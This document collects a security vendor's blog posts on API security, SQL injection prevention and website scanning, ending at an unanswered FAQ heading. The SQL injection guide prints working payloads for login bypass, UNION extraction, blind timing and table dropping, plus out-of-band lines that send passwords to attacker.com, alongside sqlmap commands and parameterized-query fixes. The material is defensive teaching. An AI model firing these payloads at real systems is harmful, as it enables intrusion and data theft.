Use this as a quick reference. Every item should be checked off before your API goes to production, but if you are triaging, work top to bottom.

| # | Check | Priority |
|---|-------|----------|
| 1 | Authentication on every endpoint | Critical |
| 2 | Authorization (BOLA) checks on resource access | Critical |
| 3 | JWT signature verification with algorithm pinning | Critical |
| 4 | Server-side input validation (Zod or equivalent) | Critical |
| 5 | Output sanitization (allowlist fields) | High |
| 6 | Rate limiting on all endpoints | High |
| 7 | Request body size limits | Medium |
| 8 | HTTPS enforced with HSTS header | Critical |
| 9 | CORS restricted to your domains | High |
| 10 | CSRF protection on mutating endpoints | High |
| 11 | Generic error messages to clients | Medium |
| 12 | Structured security event logging | Medium |
| -- | Function-level authorization on privileged routes | Critical |
| -- | Mass-assignment protection on writes | High |
| -- | SSRF validation on user-supplied URLs | High |
| -- | Webhook signature verification and idempotency | High |
| -- | API key hashing, scoping, and revocation | High |
| -- | Secrets kept out of client bundles and Git history | Critical |
| -- | Debug routes and introspection off in production | High |
| -- | Endpoint inventory, including old versions and staging | Medium |

If you want to check your API security posture automatically, [run a free scan with CheckVibe](https://checkvibe.dev/signup). It tests for misconfigured CORS, missing security headers, exposed debug endpoints, and more across your entire application.

---

## FAQ

### What is the most important API security control?

Authorization -- specifically, checking that the authenticated caller owns the exact resource they requested. Authentication is table stakes, but OWASP ranks Broken Object Level Authorization first in the API Security Top 10 because it is trivially exploitable: change an ID in the URL and read someone else's data. Every endpoint that accepts a resource identifier must verify ownership inside the query itself.

### What is broken object level authorization (BOLA)?

BOLA happens when an endpoint accepts a resource ID from the client and returns the record without checking who owns it. An attacker changes `/projects/123` to `/projects/124` and reads another tenant's data. It is API1 in the OWASP API Security Top 10. The fix is to scope every query by the authenticated user or organization, and to back that up with row-level security in the database.

### How do I test API security?

Test in layers. Run an authorization matrix in CI: for every resource route, assert that an anonymous caller gets 401 and a non-owner gets 403 or 404. Add negative probes for oversized bodies, disallowed origins, and unsigned JWTs. Run dependency and secret scanning on every pull request. Then scan the deployed API from outside for headers, CORS, and exposed debug routes.

### How do I secure a REST API?

Work through the ten groups in this REST API security checklist: authentication and authorization, input validation, rate limiting, secrets and API keys, TLS, headers and CORS, error handling and logging, monitoring, webhooks, and versioning. Deny by default, validate every input against a schema, scope every query to the caller, and keep a generated inventory of every endpoint you have deployed.

### Should I use API keys or OAuth?

Usually both. API keys suit server-to-server callers -- CI pipelines, integrations, MCP servers -- because they are simple and long-lived. OAuth and JWTs suit user-facing sessions where you need scopes, short expiry, and refresh flows. Whichever you pick, store API keys as SHA-256 hashes with a display prefix, show the raw key exactly once, and make revocation a single field you check on every request.

### How do I implement rate limiting?

Use a sliding window keyed on the authenticated user ID, falling back to IP for anonymous traffic -- IP alone punishes everyone behind a shared NAT. In-memory counters work on a single instance; move to Redis with INCR and EXPIRE, or a database counter, once you run more than one. Return 429 with a Retry-After header, and set far stricter limits on login, signup, and password reset.

---

*Secure your API before launch. [Scan your site now](https://checkvibe.dev/signup) with CheckVibe's automated security checks -- covering CORS, headers, authentication, and more.*


---

## SQL Injection Prevention: How to Find and Fix SQLi Vulnerabilities

*How SQL injection works, with real attack examples — and how to prevent it in modern web apps using parameterized queries and automated scanning.*

Published: 2026-02-28 | Reading time: 16 min read
URL: https://checkvibe.dev/blog/sql-injection-prevention-guide


SQL injection (SQLi) remains the most dangerous web vulnerability — it's been in the OWASP Top 10 since its creation. A single SQLi flaw can expose your entire database. According to vulnerability databases, SQL injection accounts for roughly 20% of all reported web application vulnerabilities, and it consistently appears in post-breach analyses of major data leaks. If you're building anything that talks to a database, this guide is essential reading.

## What Is SQL Injection?

SQL injection happens when user input is inserted directly into a SQL query without proper sanitization. The attacker's input changes the query's logic, turning a harmless data lookup into a command that can read, modify, or destroy your data.

**Vulnerable code:**
```javascript
// NEVER do this
const query = `SELECT * FROM users WHERE email = '${email}'`;
```

If the attacker enters `' OR '1'='1` as the email, the query becomes:
```sql
SELECT * FROM users WHERE email = '' OR '1'='1'
```

This returns every user in the database. The attacker didn't need credentials, brute force, or any sophisticated tooling. They just typed a carefully crafted string into a form field.

The root cause is always the same: the application treats user-supplied data as trusted SQL code. The fix is always the same: never concatenate user input into queries. Everything else in this guide builds on that principle.

## Types of SQL Injection

### 1. Classic (In-Band) SQLi

The attacker sees the results directly in the response. This is the simplest form — error messages or data appear on the page. There are two sub-types:

**Error-based**: The attacker intentionally triggers database errors that leak information about the schema. For example, injecting a `CONVERT()` or `CAST()` call that fails can reveal column names and data types in the error message:
```sql
' AND 1=CONVERT(int, (SELECT TOP 1 table_name FROM information_schema.tables))--
```

**UNION-based**: The attacker appends a `UNION SELECT` to piggyback on a legitimate query and extract data from other tables. This requires matching the number of columns in the original query.

### 2. Blind SQLi

The application doesn't show query results, but the attacker can infer information:

- **Boolean-based**: The page changes based on true/false conditions
  ```
  /users?id=1 AND 1=1  (normal page)
  /users?id=1 AND 1=2  (different page)
  ```

  By asking a series of true/false questions, the attacker can extract data one bit at a time. For example, to extract the first character of the admin password:
  ```
  /users?id=1 AND (SELECT ASCII(SUBSTRING(password,1,1)) FROM users WHERE username='admin') > 64
  ```

- **Time-based**: The response time reveals information
  ```
  /users?id=1; WAITFOR DELAY '00:00:05'--
  ```

  If the response takes 5 seconds, the injection worked. The attacker uses conditional delays to extract data:
  ```
  /users?id=1; IF (SELECT LEN(password) FROM users WHERE username='admin') > 8 WAITFOR DELAY '00:00:05'--
  ```

Blind SQLi is slower to exploit but just as dangerous. Automated tools like sqlmap can extract entire databases through blind injection given enough time.

### 3. Out-of-Band SQLi

The attacker uses database features to send data to an external server (DNS lookups, HTTP requests). Rare but powerful. This technique works when the application doesn't return results inline and time-based detection is unreliable:

```sql
-- SQL Server: DNS exfiltration
'; EXEC master..xp_dirtree '\\attacker.com\' + (SELECT TOP 1 password FROM users) + '.txt'--

-- Oracle: HTTP request
'; SELECT UTL_HTTP.REQUEST('http://attacker.com/' || (SELECT password FROM users WHERE rownum=1)) FROM dual--
```

### 4. Second-Order SQL Injection

Second-order injection is particularly insidious because the malicious payload is stored safely first and only executed later. The attacker submits input that is properly escaped and safely stored in the database. Later, a different part of the application reads that stored value and uses it in a SQL query without parameterization.

**Example scenario:**

1. The attacker registers with the username `admin'--`
2. The registration query uses parameterized queries, so the username is safely stored
3. Later, a password change function reads the username from the database and builds a query:

```javascript
// Step 1: Safe registration (parameterized)
await pool.query('INSERT INTO users (username, password) VALUES ($1, $2)', [username, hash]);

// Step 2: Unsafe password change (reads stored username, concatenates it)
const user = await getLoggedInUser(); // returns { username: "admin'--" }
const query = `UPDATE users SET password = '${newPassword}' WHERE username = '${user.username}'`;
// Becomes: UPDATE users SET password = 'newpass' WHERE username = 'admin'--'
```

The password change now modifies the admin's password instead. Second-order injection is harder to detect because the initial input passes all validation checks — the vulnerability is in a completely different code path.

**Prevention**: Parameterize every query, even when the data comes from your own database. Never trust data just because it's already stored.

## NoSQL Injection

SQL injection isn't limited to relational databases. NoSQL databases like MongoDB are vulnerable to their own form of injection when user input is passed directly into query objects.

**Vulnerable MongoDB code:**
```javascript
// NEVER do this
const user = await db.collection('users').findOne({
  username: req.body.username,
  password: req.body.password
});
```

An attacker can send a JSON body like:
```json
{
  "username": "admin",
  "password": { "$ne": "" }
}
```

The `$ne` (not equal) operator matches any non-empty password, effectively bypassing authentication. Other dangerous operators include `$gt`, `$regex`, and `$where`:

```json
// Regex-based extraction
{ "username": "admin", "password": { "$regex": "^a" } }

// $where injection (executes JavaScript)
{ "$where": "this.username === 'admin' && this.password.length > 0" }
```

**Prevention for MongoDB:**
```javascript
// Sanitize: strip MongoDB operators from input
import mongoSanitize from 'express-mongo-sanitize';
app.use(mongoSanitize());

// Or validate input types explicitly
const username = String(req.body.username);
const password = String(req.body.password);
const user = await db.collection('users').findOne({ username, password });
```

## Real Attack Scenarios

### Scenario 1: Authentication Bypass

```
Username: admin' --
Password: anything
```

Query becomes:
```sql
SELECT * FROM users WHERE username = 'admin' --' AND password = 'anything'
```

The `--` comments out the password check. The attacker logs in as admin.

### Scenario 2: Data Exfiltration with UNION

```
/products?category=electronics' UNION SELECT username, password FROM users --
```

The attacker piggybacks on a legitimate query to extract data from a different table. To make a UNION attack work, the attacker first determines the number of columns using `ORDER BY`:

```
/products?category=electronics' ORDER BY 1--  (works)
/products?category=electronics' ORDER BY 2--  (works)
/products?category=electronics' ORDER BY 3--  (works)
/products?category=electronics' ORDER BY 4--  (error - only 3 columns)
```

Then they can extract data:
```
/products?category=electronics' UNION SELECT username, password, NULL FROM users--
```

### Scenario 3: Database Destruction

```
/search?q='; DROP TABLE users; --
```

The attacker terminates the current query and executes a destructive command. This is the famous "Bobby Tables" attack. While modern database drivers often disable multi-statement execution by default, stacked queries are still possible in some configurations, especially with SQL Server and PostgreSQL's `pg_query` function.

### Scenario 4: Privilege Escalation

```
/profile?id=1; UPDATE users SET role = 'admin' WHERE username = 'attacker'--
```

The attacker promotes their own account to admin. Even without stacked queries, an `UPDATE` injection in a different context (like a profile update form) can modify any column in the table.

## Stored Procedures: Are They Safe?

A common misconception is that stored procedures automatically prevent SQL injection. They don't — it depends on how they're written.

**Vulnerable stored procedure:**
```sql
-- BAD: Dynamic SQL inside stored procedure
CREATE PROCEDURE GetUser(@username VARCHAR(100))
AS
BEGIN
    EXEC('SELECT * FROM users WHERE username = ''' + @username + '''')
END
```

This is just as vulnerable as inline SQL concatenation. The `EXEC()` call builds a dynamic query from the parameter.

**Safe stored procedure:**
```sql
-- GOOD: Parameterized query inside stored procedure
CREATE PROCEDURE GetUser(@username VARCHAR(100))
AS
BEGIN
    SELECT * FROM users WHERE username = @username
END
```

**Key rule**: Stored procedures are safe only when they use parameterized queries internally. If they use dynamic SQL (`EXEC`, `sp_executesql` without parameters, or string concatenation), they're vulnerable.

Stored procedures do provide one security benefit: you can grant users EXECUTE permission on procedures while denying direct table access. This adds a layer of access control, but it's not a substitute for parameterized queries.

## How to Prevent SQL Injection

### 1. Use Parameterized Queries (Prepared Statements)

This is the primary defense. Parameters are treated as data, never as SQL code.

```javascript
// Node.js with pg
const result = await pool.query(
  'SELECT * FROM users WHERE email = $1',
  [email]
);

// Node.js with mysql2
const [rows] = await connection.execute(
  'SELECT * FROM users WHERE email = ? AND status = ?',
  [email, status]
);
```

```python
# Python with psycopg2
cursor.execute("SELECT * FROM users WHERE email = %s", (email,))

# Python with SQLAlchemy Core
from sqlalchemy import text
result = conn.execute(text("SELECT * FROM users WHERE email = :email"), {"email": email})
```

```go
// Go with database/sql
row := db.QueryRow("SELECT * FROM users WHERE email = $1", email)
```

Parameterized queries work because the database engine separates the query structure from the data. The parameters are sent through a different channel than the SQL code, so they can never be interpreted as commands.

### 2. Use an ORM (But Understand Its Limits)

ORMs like Prisma, Drizzle, or SQLAlchemy parameterize queries by default:

```typescript
// Prisma - automatically parameterized
const user = await prisma.user.findUnique({
  where: { email: userInput },
});
```

**However, ORMs can still be vulnerable.** Every major ORM provides escape hatches for raw SQL, and those escape hatches are where injection happens:

```typescript
// Prisma raw query - VULNERABLE if you concatenate
const users = await prisma.$queryRawUnsafe(`SELECT * FROM users WHERE email = '${email}'`);

// Prisma raw query - SAFE with tagged template
const users = await prisma.$queryRaw`SELECT * FROM users WHERE email = ${email}`;

// Drizzle raw SQL - VULNERABLE
import { sql } from 'drizzle-orm';
const result = await db.execute(sql.raw(`SELECT * FROM users WHERE email = '${email}'`));

// Drizzle raw SQL - SAFE with placeholder
const result = await db.execute(sql`SELECT * FROM users WHERE email = ${email}`);
```

Query builders can also introduce injection if you pass unsanitized input to methods that accept raw identifiers:

```typescript
// VULNERABLE: dynamic column name from user input
const column = req.query.sortBy; // attacker sends: "name; DROP TABLE users--"
const users = await knex('users').orderBy(column);

// SAFE: validate against allowlist
const ALLOWED_COLUMNS = ['name', 'email', 'created_at'];
const column = ALLOWED_COLUMNS.includes(req.query.sortBy) ? req.query.sortBy : 'created_at';
const users = await knex('users').orderBy(column);
```

**Rule of thumb**: The ORM's standard API is safe. Any method that accepts raw strings (`$queryRawUnsafe`, `sql.raw`, `knex.raw`) must be treated with the same care as direct SQL.

### 3. Use Supabase's Query Builder

Supabase's JavaScript client automatically parameterizes:

```typescript
// Safe - parameterized by Supabase
const { data } = await supabase
  .from('users')
  .select('*')
  .eq('email', userInput);
```

But watch out for raw SQL via `.rpc()` — ensure your Postgres functions use parameters.

```typescript
// Safe: RPC with parameterized function
const { data } = await supabase.rpc('get_user_by_email', { user_email: userInput });

// The function must be written safely:
// CREATE FUNCTION get_user_by_email(user_email TEXT)
// RETURNS SETOF users AS $$
//   SELECT * FROM users WHERE email = user_email;
// $$ LANGUAGE sql SECURITY DEFINER;
```

Also be careful with Supabase's `.filter()` method when using complex filter strings — stick to the type-safe methods like `.eq()`, `.gt()`, `.in()`, etc. For more Supabase-specific security guidance, see our [Supabase security checklist](/blog/supabase-security-checklist).

### 4. Input Validation

Validate input types before they reach the database:

```typescript
import { z } from 'zod';

const schema = z.object({
  email: z.string().email(),
  age: z.number().int().min(0).max(150),
  role: z.enum(['user', 'editor', 'admin']),
  id: z.string().uuid(),
});

// Validate and parse
const result = schema.safeParse(req.body);
if (!result.success) {
  return NextResponse.json({ error: 'Invalid input' }, { status: 400 });
}
// Use result.data — typed and validated
```

Input validation is an important layer but it is **not a substitute for parameterized queries**. Even perfectly validated input should go through parameterized queries. Validation reduces the attack surface; parameterization eliminates the vulnerability class entirely.

### 5. Principle of Least Privilege

Your database user should only have the permissions it needs. Don't connect with a superuser account. In Supabase, use the `anon` key with RLS — never expose the service role key.

```sql
-- Create a restricted database user for your application
CREATE ROLE app_user WITH LOGIN PASSWORD 'strong_password';

-- Grant only what's needed
GRANT SELECT, INSERT, UPDATE ON users TO app_user;
-- Don't grant DELETE unless the app needs it
-- Never grant DROP, ALTER, or EXECUTE on system functions

-- Revoke access to sensitive tables
REVOKE ALL ON api_keys FROM app_user;
REVOKE ALL ON billing FROM app_user;
```

If your application user can't `DROP TABLE`, then even a successful injection can't destroy your data. This doesn't prevent data theft, but it limits the blast radius.

## Defense in Depth: Layering Your Protections

No single defense is sufficient on its own. The strongest protection combines multiple layers:

1. **Parameterized queries** — eliminates the vulnerability at the source
2. **Input validation** — rejects obviously malicious input early
3. **Least privilege** — limits what an attacker can do even if injection succeeds
4. **Web Application Firewall (WAF)** — blocks common injection patterns at the network edge
5. **Monitoring and alerting** — detects injection attempts in real time

A WAF (like Cloudflare WAF, AWS WAF, or ModSecurity) can catch known injection patterns before they reach your application. However, WAFs are a safety net, not a fix — they can be bypassed with encoding tricks and novel payloads. Always fix the underlying vulnerability rather than relying on the WAF to block attacks.

For a comprehensive security strategy that goes beyond just SQL injection, check out the [OWASP Top 10 checklist](/blog/owasp-top-10-checklist) and our [API security checklist](/blog/api-security-checklist).

## Testing for SQL Injection

Before relying solely on automated scanners, it's useful to understand how to manually test for SQL injection. These tests can be run against your own applications (never against systems you don't own).

### Basic Detection Payloads

Start with these in any user-facing input field, URL parameter, or API parameter:

```
'          (single quote — does the app throw a database error?)
''         (two quotes — does the error go away?)
' OR '1'='1
' OR '1'='1' --
" OR "1"="1
1 OR 1=1
1' ORDER BY 1--
1' ORDER BY 100--    (high number to trigger error)
```

If the single quote causes a database error or different behavior, the input is likely being concatenated into a query.

### Authentication Bypass Tests

Try these in login forms:

```
admin' --
admin' #
' OR 1=1 --
' OR 1=1 #
') OR ('1'='1
') OR ('1'='1' --
```

### UNION-Based Tests

To check if UNION injection is possible:

```
' UNION SELECT NULL--
' UNION SELECT NULL, NULL--
' UNION SELECT NULL, NULL, NULL--
```

Increment the number of `NULL` values until the error changes (indicating you've matched the column count).

### Time-Based Blind Tests

If the application doesn't show errors:

```
'; WAITFOR DELAY '00:00:05'--          (SQL Server)
'; SELECT pg_sleep(5)--                 (PostgreSQL)
' OR SLEEP(5)#                          (MySQL)
```

If the response is delayed by 5 seconds, blind injection is confirmed.

### Automated Testing with sqlmap

For thorough testing, [sqlmap](https://sqlmap.org/) is the standard open-source tool:

```bash
# Basic test against a URL parameter
sqlmap -u "https://yourapp.com/api/users?id=1" --batch

# Test POST data
sqlmap -u "https://yourapp.com/api/login" --data="email=test&password=test" --batch

# Test with authentication cookie
sqlmap -u "https://yourapp.com/api/profile?id=1" --cookie="session=abc123" --batch
```

**Important**: Only test applications you own or have explicit written permission to test. Unauthorized testing is illegal in most jurisdictions.

## Detecting SQL Injection Automatically

CheckVibe's SQL Injection Scanner tests all accessible input vectors:

- URL parameters
- Form fields
- HTTP headers
- Cookie values

It uses error-based, time-based, and blind injection payloads to detect both classic and modern injection patterns across every page discovered by site crawling.

[Test your app for SQL injection](https://checkvibe.dev/signup) — free, automated, 60 seconds.

## FAQ

### Can SQL injection happen with an ORM?

Yes. While ORMs parameterize their standard query methods, every major ORM provides raw query escape hatches (`$queryRawUnsafe` in Prisma, `sql.raw()` in Drizzle, `.extra()` in Django ORM). If you concatenate user input into these raw queries, you're just as vulnerable as with plain SQL. Additionally, dynamic column or table names passed to query builders can be injectable. Always validate identifiers against an allowlist and use parameterized raw queries when you need raw SQL.

### Is Supabase safe from SQL injection?

Supabase's JavaScript client library (`.from().select().eq()`) parameterizes queries automatically, making standard usage safe. However, two areas need caution: (1) RPC calls to custom Postgres functions — the function itself must use parameterized queries internally, and (2) Row Level Security policies that use complex SQL expressions. Supabase with RLS properly configured is one of the safer setups because even if injection occurs, RLS limits what the attacker can access. But no tool makes you immune by default — the security depends on how you write your queries and functions.

### How do I test for SQL injection?

Start with manual testing: enter a single quote (`'`) in every input field and observe the response. If you see a database error, that's a strong indicator of SQL injection. Progress to boolean-based tests (`' OR '1'='1`), time-based tests (`'; SELECT pg_sleep(5)--`), and automated tools like sqlmap. For production applications, use an automated scanner like CheckVibe that tests hundreds of payloads across all input vectors without disrupting your users.

### What's the worst that can happen with SQL injection?

The worst case is total compromise: the attacker reads your entire database (usernames, passwords, personal data, payment information), modifies records (escalates their privileges, changes prices, alters orders), deletes data (drops tables), and in some configurations, executes operating system commands on the database server. Major breaches like the 2017 Equifax breach (147 million records) and the Heartland Payment Systems breach (130 million card numbers) involved SQL injection as the initial attack vector.

### Does input validation prevent SQL injection?

Input validation reduces the attack surface but does not prevent SQL injection on its own. A strict email validation regex will reject most injection payloads in an email field, but it's not a fix — it's a filter that can be bypassed. For instance, some injection payloads can be crafted to look like valid emails. The only reliable prevention is parameterized queries, which structurally separate code from data. Use input validation as an additional layer, not as your primary defense. See our [API security checklist](/blog/api-security-checklist) for a complete approach to input handling.


---

## What Is Website Security Scanning? Types, Tools, and How It Works

*Learn what website security scanning is, how it works, the different types of scans, and why every developer should automate it. Beginner-friendly guide.*

Published: 2026-02-25 | Reading time: 12 min read
URL: https://checkvibe.dev/blog/what-is-website-security-scanning


Website security scanning is the process of automatically testing a website for vulnerabilities that attackers could exploit. It's the digital equivalent of checking every lock, window, and alarm in a building. Whether you are running a personal project, a SaaS product, or an enterprise application, automated scanning is the fastest way to find security issues before someone else does.

## Why Security Scanning Matters

Every website connected to the internet is a potential target. Common threats include:

- **Data breaches** — Attackers steal user data, credentials, or payment information
- **Defacement** — Your site content is replaced with attacker messaging
- **Malware injection** — Attackers insert malicious code that infects your visitors
- **SEO spam** — Hidden links and redirects damage your search rankings
- **Ransomware** — Your application or database is encrypted and held hostage

The cost of these attacks is real. The average data breach costs $4.5 million according to IBM's 2025 Cost of a Data Breach Report. For small businesses and startups, even a minor breach can mean lost customers, regulatory fines, and months of recovery.

Automated security scanning catches vulnerabilities before attackers find them. It is not a replacement for good security practices — it is a safety net that catches what humans miss.

## Types of Security Scans

### 1. Static Application Security Testing (SAST)

SAST analyzes your source code without executing it. It finds issues like hardcoded credentials, insecure function calls, and code patterns that lead to vulnerabilities.

**Pros:** Finds issues early in development; works before the application is deployed.
**Cons:** High false-positive rate; can't detect runtime issues; needs access to source code.

**What SAST finds — examples:**

```javascript
// SAST catches: hardcoded secret
const API_KEY = 'sk_live_abc123def456';

// SAST catches: SQL injection via string concatenation
const query = `SELECT * FROM users WHERE id = '${req.params.id}'`;

// SAST catches: insecure random number generation
const token = Math.random().toString(36).substring(2);
```

SAST tools scan every line of code looking for patterns like these. They work well for finding known-bad patterns but struggle with business logic flaws and vulnerabilities that only appear at runtime.

### 2. Dynamic Application Security Testing (DAST)

DAST tests your running application by sending requests and analyzing responses. This is what most "website security scanners" do — including CheckVibe.

**Pros:** Tests the actual deployed application; finds runtime vulnerabilities; no source code access needed.
**Cons:** Requires the app to be running; may miss server-side-only code paths; needs the application to be in a testable state.

**What DAST finds — examples:**

```
# DAST sends this request and checks the response:
GET /api/users?id=1' OR '1'='1 HTTP/1.1

# If the response contains user data, SQL injection is confirmed.

# DAST checks response headers:
# Missing Content-Security-Policy → reports CSP finding
# Missing Strict-Transport-Security → reports HSTS finding

# DAST probes for exposed endpoints:
GET /debug/pprof HTTP/1.1        → Should return 404
GET /.env HTTP/1.1               → Should return 404
GET /api/graphql?query={__schema{types{name}}} → Introspection should be disabled
```

DAST is the most practical approach for most teams because it tests what attackers actually see — your deployed application, from the outside. You do not need to share source code, set up special build pipelines, or instrument your application.

### 3. Software Composition Analysis (SCA)

SCA scans your dependencies (npm packages, Python libraries) for known vulnerabilities (CVEs).

**Pros:** Catches supply chain risks; automated; covers third-party code you did not write.
**Cons:** Only covers third-party code, not your application logic; version-specific (a CVE may not affect your usage).

**What SCA finds — examples:**

```
# SCA scans package.json / package-lock.json and flags:
lodash@4.17.20 → CVE-2021-23337 (prototype pollution, HIGH)
axios@0.21.0  → CVE-2021-3749 (ReDoS, MEDIUM)
jsonwebtoken@8.5.0 → CVE-2022-23529 (insecure key handling, HIGH)
```

Modern SCA tools also detect license compliance issues (using a GPL library in a commercial project) and identify abandoned packages that no longer receive security updates.

### 4. Interactive Application Security Testing (IAST)

IAST combines SAST and DAST by instrumenting the application from the inside while testing from the outside.

**Pros:** Low false-positive rate; deep visibility; sees both code and runtime behavior.
**Cons:** Complex setup; requires code instrumentation; performance overhead in testing.

### SAST vs DAST — Detailed Comparison

| Factor | SAST | DAST |
|---|---|---|
| **Access required** | Source code | Running URL |
| **When to run** | During development / CI | After deployment |
| **False positive rate** | High (10-30%) | Low (5-10%) |
| **Runtime issues** | Cannot detect | Primary strength |
| **Configuration errors** | Limited | Excellent |
| **Business logic flaws** | Cannot detect | Limited |
| **Setup complexity** | Medium (CI integration) | Low (just a URL) |
| **Speed** | Fast (seconds-minutes) | Medium (30s-30min) |
| **Languages** | Language-specific | Language-agnostic |

For most teams, the practical recommendation is: use DAST as your primary scanning method (it tests what attackers see), add SCA for dependency monitoring (it catches supply chain risks), and add SAST if your team has the resources to handle the higher false positive rate.

## What a Security Scanner Checks

A comprehensive scanner like CheckVibe tests for:

- **Injection attacks**: SQL injection, XSS (cross-site scripting), command injection
- **Authentication issues**: Weak session management, missing CSRF protection, insecure password policies
- **Configuration errors**: Missing [security headers](/blog/security-headers-complete-guide), permissive [CORS](/blog/cors-misconfiguration-guide), exposed debug endpoints
- **Sensitive data exposure**: Leaked API keys, unencrypted data in transit, information disclosure
- **Access control**: Broken authorization, privilege escalation, insecure direct object references
- **Infrastructure issues**: Weak SSL/TLS, DNS misconfigurations, missing DDoS protection
- **Platform-specific risks**: Supabase RLS bypasses, Firebase rule misconfigurations, exposed GraphQL introspection

## How Modern Scanners Handle SPAs and JavaScript-Heavy Apps

Traditional scanners relied on crawling HTML links to discover pages. This worked for server-rendered sites but fails for modern single-page applications (SPAs) built with React, Vue, or Angular, where most navigation happens client-side via JavaScript routing.

Modern scanners handle this through several techniques:

**JavaScript route extraction** — The scanner analyzes your JavaScript bundles to find route definitions. In a React app using React Router, the scanner looks for `<Route path="/dashboard">` patterns. In a Next.js app, it reads the file-based routing structure from the manifest.

**Sitemap and robots.txt parsing** — Well-maintained applications provide a sitemap.xml that lists all public URLs. The scanner reads this first to seed its crawl queue.

**SPA detection** — The scanner identifies SPAs by checking for framework signatures (React root elements, Vue app instances, Angular modules) and adjusts its crawling strategy accordingly.

**Recursive link following** — After loading each page, the scanner extracts all links, form actions, and API endpoints referenced in the HTML and JavaScript. It follows these recursively up to a configured depth.

CheckVibe's site crawler combines all of these approaches. It starts with robots.txt and sitemap.xml, then crawls HTML links, extracts JavaScript routes, detects SPA frameworks, and follows discovered URLs breadth-first. This means every discoverable page and API endpoint gets tested — not just the homepage.

## How Automated Scanning Works

1. **Discovery** — The scanner crawls your site to find all pages, endpoints, and resources
2. **Analysis** — Each discovered URL is tested against a library of known vulnerability patterns
3. **Reporting** — Findings are categorized by severity (critical, high, medium, low, info)
4. **Remediation** — Each finding includes a description and recommended fix

CheckVibe completes all of this in under 60 seconds with 100+ parallel checks and automatic site crawling.

### Understanding Severity Levels

Not all vulnerabilities are equal. Scanners categorize findings by severity to help you prioritize:

**Critical** — Actively exploitable, leads to full data breach or system compromise. Examples: SQL injection returning user data, exposed admin panel with default credentials, leaked database connection strings. Fix these immediately.

**High** — Exploitable with some conditions, significant impact. Examples: stored XSS, missing authentication on API endpoints, CORS misconfiguration allowing credential theft. Fix these within 24-48 hours.

**Medium** — Exploitable but with limited impact, or requires specific conditions. Examples: missing CSRF protection on non-critical forms, overly verbose error messages, weak cookie configuration. Fix these within a week.

**Low** — Minor issues that indicate poor security hygiene. Examples: missing X-Content-Type-Options header, server version disclosure, autocomplete enabled on non-sensitive forms. Fix these during regular maintenance.

**Informational** — Not a vulnerability, but useful context. Examples: detected technology stack, HTTP methods supported, cookie attributes present.

### Dealing with False Positives

Every scanner produces some false positives — findings that look like vulnerabilities but are not actually exploitable in your specific context. This is normal and does not mean the scanner is broken.

Common false positive scenarios:
- A scanner flags "SQL injection" on a search endpoint, but your backend uses parameterized queries and the test payload appeared in an error message (not in query results)
- A scanner reports "missing HSTS" on a development server that intentionally uses HTTP
- A scanner flags "information disclosure" because your 404 page mentions the framework name

How to handle false positives:
1. **Verify before dismissing** — Actually test the finding manually before assuming it is false
2. **Document your reasoning** — Record why you dismissed a finding so future auditors understand
3. **Use dismiss/acknowledge features** — Good scanners like CheckVibe let you dismiss findings with a reason, so they do not reappear in future scans
4. **Re-evaluate periodically** — A finding you dismissed six months ago may become relevant after a code change

A false positive rate under 10% is considered good for DAST scanners. If a scanner produces more than 20% false positives, it wastes more time than it saves.

## Automated Scanning vs Manual Penetration Testing

Automated scanning and manual penetration testing serve different purposes. You need both, but at different stages.

**Automated scanning** is best for:
- Continuous monitoring (daily/weekly scans)
- Catching common vulnerabilities (OWASP Top 10)
- Regression testing (verifying fixes stick)
- Configuration checks (headers, SSL, DNS)
- Cost-effective broad coverage

**Manual penetration testing** is best for:
- Business logic vulnerabilities (price manipulation, workflow bypasses)
- Complex authentication/authorization flaws
- Chained exploits (combining multiple low-severity findings)
- Social engineering and phishing assessments
- Compliance requirements (PCI-DSS, SOC 2)

The recommended approach: run automated scans continuously (CheckVibe supports daily and weekly [scheduled scans](/blog/how-to-check-if-website-is-secure)), and conduct a manual pentest annually or before major launches. Automated scanning covers breadth (testing everything, every day), while pentesting covers depth (finding complex issues that require human judgment).

## How Often Should You Scan?

- **Every deployment** — Catch issues introduced by new code
- **Weekly minimum** — Detect configuration drift and new vulnerability disclosures
- **After dependency updates** — Verify that updates didn't introduce regressions

CheckVibe supports scheduled scans (daily or weekly) with email alerts and webhook notifications.

Beyond frequency, consider what triggers a scan. The most secure teams scan:
- On every pull request merge (CI/CD integration)
- After infrastructure changes (DNS updates, CDN configuration)
- After adding new third-party integrations
- When a new CVE is published affecting your stack

## Getting Started

You don't need security expertise to start scanning. Tools like CheckVibe are designed for developers:

1. [Create a free account](https://checkvibe.dev/signup)
2. Enter your website URL
3. Click scan
4. Review findings and apply fixes

100+ automated checks, under 60 seconds, free to start.

If you are new to security scanning, start with the [free website security scan](/blog/free-website-security-scan) to see what a typical scan report looks like. Then read the [website security scanner comparison](/blog/website-security-scanner-comparison) to understand how different tools approach the problem.

## FAQ

### What's the difference between DAST and SAST?

DAST (Dynamic Application Security Testing) tests your running application from the outside by sending HTTP requests and analyzing responses — like an attacker would. SAST (Static Application Security Testing) analyzes your source code without running it, looking for insecure patterns. DAST finds runtime vulnerabilities like misconfigurations, missing headers, and injection flaws. SAST finds code-level issues like hardcoded secrets and insecure function calls. Most teams benefit from DAST first (it is easier to set up and tests what attackers actually see), then add SAST later for deeper code analysis.

### Can a security scanner replace a penetration test?

No. Automated scanners excel at finding known vulnerability patterns across your entire application quickly and cheaply. Penetration tests, conducted by human security professionals, find complex business logic flaws, chained exploits, and context-specific vulnerabilities that automated tools miss. Think of scanning as your regular health checkup and pentesting as seeing a specialist. You need both: scan continuously (daily or weekly) to catch regressions and common issues, and pentest annually or before major releases for deep analysis.

### How long does a security scan take?

It depends on the scanner and your application size. Lightweight DAST scanners like CheckVibe complete a full scan in 30-60 seconds by running 100+ checks in parallel. Enterprise scanners like Burp Suite or OWASP ZAP may take 30 minutes to several hours because they perform deeper crawling and more aggressive testing. SAST scan duration depends on codebase size — a small project takes seconds, a large monorepo can take 10-30 minutes. For most teams, a scanner that completes in under a minute is ideal for CI/CD integration and regular monitoring.

### Do I need to give the scanner access to my source code?

Not for DAST scanning. DAST scanners only need your website URL — they test the application from the outside, just like an attacker would. This makes DAST the easiest type of scanning to set up and the safest from a data-sharing perspective. SAST scanners do require source code access, which is why they are typically run in your CI/CD pipeline rather than as a hosted service. SCA (dependency scanning) needs access to your package manifest files (package.json, requirements.txt) but not your application code.

### What should I do after a scan finds vulnerabilities?

